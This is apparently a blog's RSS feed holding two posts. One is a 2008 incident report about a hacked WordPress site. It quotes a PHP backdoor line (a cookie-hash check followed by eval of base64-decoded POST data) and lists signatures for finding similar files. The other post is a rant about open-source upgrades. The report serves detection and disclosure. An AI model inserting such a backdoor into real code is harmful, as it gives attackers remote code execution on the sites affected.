<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>Apokalypse Software Corp. &#187; open source</title>
	<atom:link href="http://apokalypsesoftware.com/blog/tags/open-source/feed/" rel="self" type="application/rss+xml" />
	<link>http://apokalypsesoftware.com</link>
	<description>words from the wilderness</description>
	<pubDate>Sun, 13 Jul 2008 03:48:17 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5.1</generator>
	<language>en</language>
			<item>
		<title>Website was Down Due to Compromised WordPress System</title>
		<link>http://apokalypsesoftware.com/blog/2008/05/04/115/</link>
		<comments>http://apokalypsesoftware.com/blog/2008/05/04/115/#comments</comments>
		<pubDate>Sun, 04 May 2008 17:57:47 +0000</pubDate>
		<dc:creator>huperniketes</dc:creator>
		
		<category><![CDATA[community]]></category>

		<category><![CDATA[marketing]]></category>

		<category><![CDATA[open source]]></category>

		<category><![CDATA[process failure]]></category>

		<category><![CDATA[rant]]></category>

		<category><![CDATA[security]]></category>

		<category><![CDATA[website]]></category>

		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://apokalypsesoftware.com/?p=115</guid>
		<description><![CDATA[I upgraded the WordPress system the blog runs on (complete with fail, and no thanks to the WordPress community in #wordpress for their non-help -- I definitely will switch the blog to another system after 1.7's release, and recommend prospective users to stay away from them and their system), and found compromised files throughout the system.]]></description>
			<content:encoded><![CDATA[<p>If you attempted to access the site for the past 24+ hours I apologize for the prolonged downtime. I upgraded the WordPress system the blog runs on (complete with fail, and no thanks to the WordPress community in #wordpress for their non-help &#8212; I definitely will switch the blog to another system after 1.7&#8217;s release, and recommend prospective users to stay away from them and their system), and found compromised files throughout the system.</p>
<p>I believe I have corrected/removed the backdoor mechanisms which spammers have been using against the site, but there&#8217;s no evidence that the wacky WordPress system the site is now running on doesn&#8217;t have other compromised files, as well as the security holes through which the crackers originally got in.</p>
<p>Several compromised files had this line inserted at the beginning,</p>
<p><code>&lt;?php if(md5($_COOKIE['_wp_debugger'])==&#8221;5fd808ac028e5197dd69318e32407eb7&#8243;){ eval(base64_decode($_POST['file'])); exit; } ?></code></p>
<p>Others were disguised as image files, with file extensions of &#8220;pngg&#8221; and &#8220;jpgg&#8221;, and beginning with &#8220;<?/*&#8221;.</p>
<p>If you want to check your site for similarly compromised files and backdoors, search through your site code for signatures such as &#8220;qwerty&#8221;, &#8220;4008deadb16536f48b84fdc70f194dac&#8221;, &#8220;find suid files&#8221;, &#8220;_wp_debugger&#8221;, &#8220;5fd808ac028e5197dd69318e32407eb7&#8243;. The signatures are sure to change, as they&#8217;re used to activate the backdoor scripts, but at least you have a way to check current installations for these same spammers.</p>
<p>All in all, an unhealthy state of affairs for the Content Management System (CMS) industry. The market is still up for grabs.</p>
]]></content:encoded>
			<wfw:commentRss>http://apokalypsesoftware.com/blog/2008/05/04/115/feed/</wfw:commentRss>
		</item>
		<item>
		<title>A Week of Fist Shaking at BOFH and Open Source Developers</title>
		<link>http://apokalypsesoftware.com/blog/2007/12/06/84/</link>
		<comments>http://apokalypsesoftware.com/blog/2007/12/06/84/#comments</comments>
		<pubDate>Thu, 06 Dec 2007 13:11:32 +0000</pubDate>
		<dc:creator>huperniketes</dc:creator>
		
		<category><![CDATA[development]]></category>

		<category><![CDATA[hogbaysoftware]]></category>

		<category><![CDATA[open source]]></category>

		<category><![CDATA[rant]]></category>

		<category><![CDATA[software]]></category>

		<category><![CDATA[website]]></category>

		<guid isPermaLink="false">http://apokalypsesoftware.com/blog/2007/12/06/84/</guid>
		<description><![CDATA[The past week was one of the worst in recent computer experiences I&#8217;ve had, surpassing the Leopard install. In fact, the last time my experience has been this bad was when I last fiddled with website software. I was going to abandon the whole server transfer/upgrade plan due to the issues the upgrades were causing, [...]]]></description>
			<content:encoded><![CDATA[<p>The past week was one of the worst in recent computer experiences I&#8217;ve had, surpassing the Leopard install. In fact, the last time my experience has been this bad was when I last fiddled with website software. I was going to abandon the whole server transfer/upgrade plan due to the issues the upgrades were causing, but I remembered the transfer itself should be fairly trouble free. I&#8217;ll only upgrade a minor version; not a whole version, which would require adding a lot of code to custom modules <a href='http://www.hogbaysoftware.com'>Jesse</a> wrote. <strong>Should be</strong>.</p>
<p>I can appreciate the time and effort invested by those who work on open source projects, but developers who complain that users aren&#8217;t migrating to their latest efforts quickly enough are both arrogant and naive. Customers prefer to be able to continue using the data they&#8217;ve stored in the current versions to losing them when they migrate to the newer ones. I&#8217;m pretty sure it&#8217;s the same for OSS users. Much as I love writing code, I have enough to write already thank you very much. And I don&#8217;t appreciate having to spelunk through your code to figure out what those data structures you&#8217;ve added are supposed to do (&#8221;ooh, shiny, new!&#8221;) just because you&#8217;re too lazy to write the docs (&#8221;the code <em>are</em> the docs!&#8221;) and impatient to play with your new ideas. </p>
<p>Although the site I inherited from Jesse used a CMS system distinct and incompatible from the one I had selected when I started my own, I didn&#8217;t want to switch it around or try doing new things with it because I felt the continuity was better than taking the time to rebuild a site from scratch. But now I can appreciate Jesse&#8217;s decision to do such a thing. If I have to spend the downtime upgrading parts that already work well just to get the features needed for other modules, I might as well fix it to my own needs and ignore the chaos that OSS developers are creating in the system. Now the whole NIH question is thrown out the window. It&#8217;s no longer a matter of, &#8220;Oh, I can do a cooler system.&#8221; Now it&#8217;s a question of the developers themselves causing users to abandon their system. A question of distrust and self-preservation.</p>
<p>Hopefully, any remaining misconfigurations in the website will be rectified before a second person notices it.</p>
<p>If you sent an email in the past 24 hours (of 2007-12-05) and you haven&#8217;t gotten a response already I apologize, but you&#8217;ll need to resend it. My site host doesn&#8217;t transfer files, emails, settings, or the like between accounts; and well, it has probably been crushed by the lumbering floes. In fact, if you&#8217;re waiting for a response from me on <em>any</em> matter, please jog my memory with another email.</p>
<p>Anyway, at least the site now has some breathing room, and I can continue improving the products.</p>
]]></content:encoded>
			<wfw:commentRss>http://apokalypsesoftware.com/blog/2007/12/06/84/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
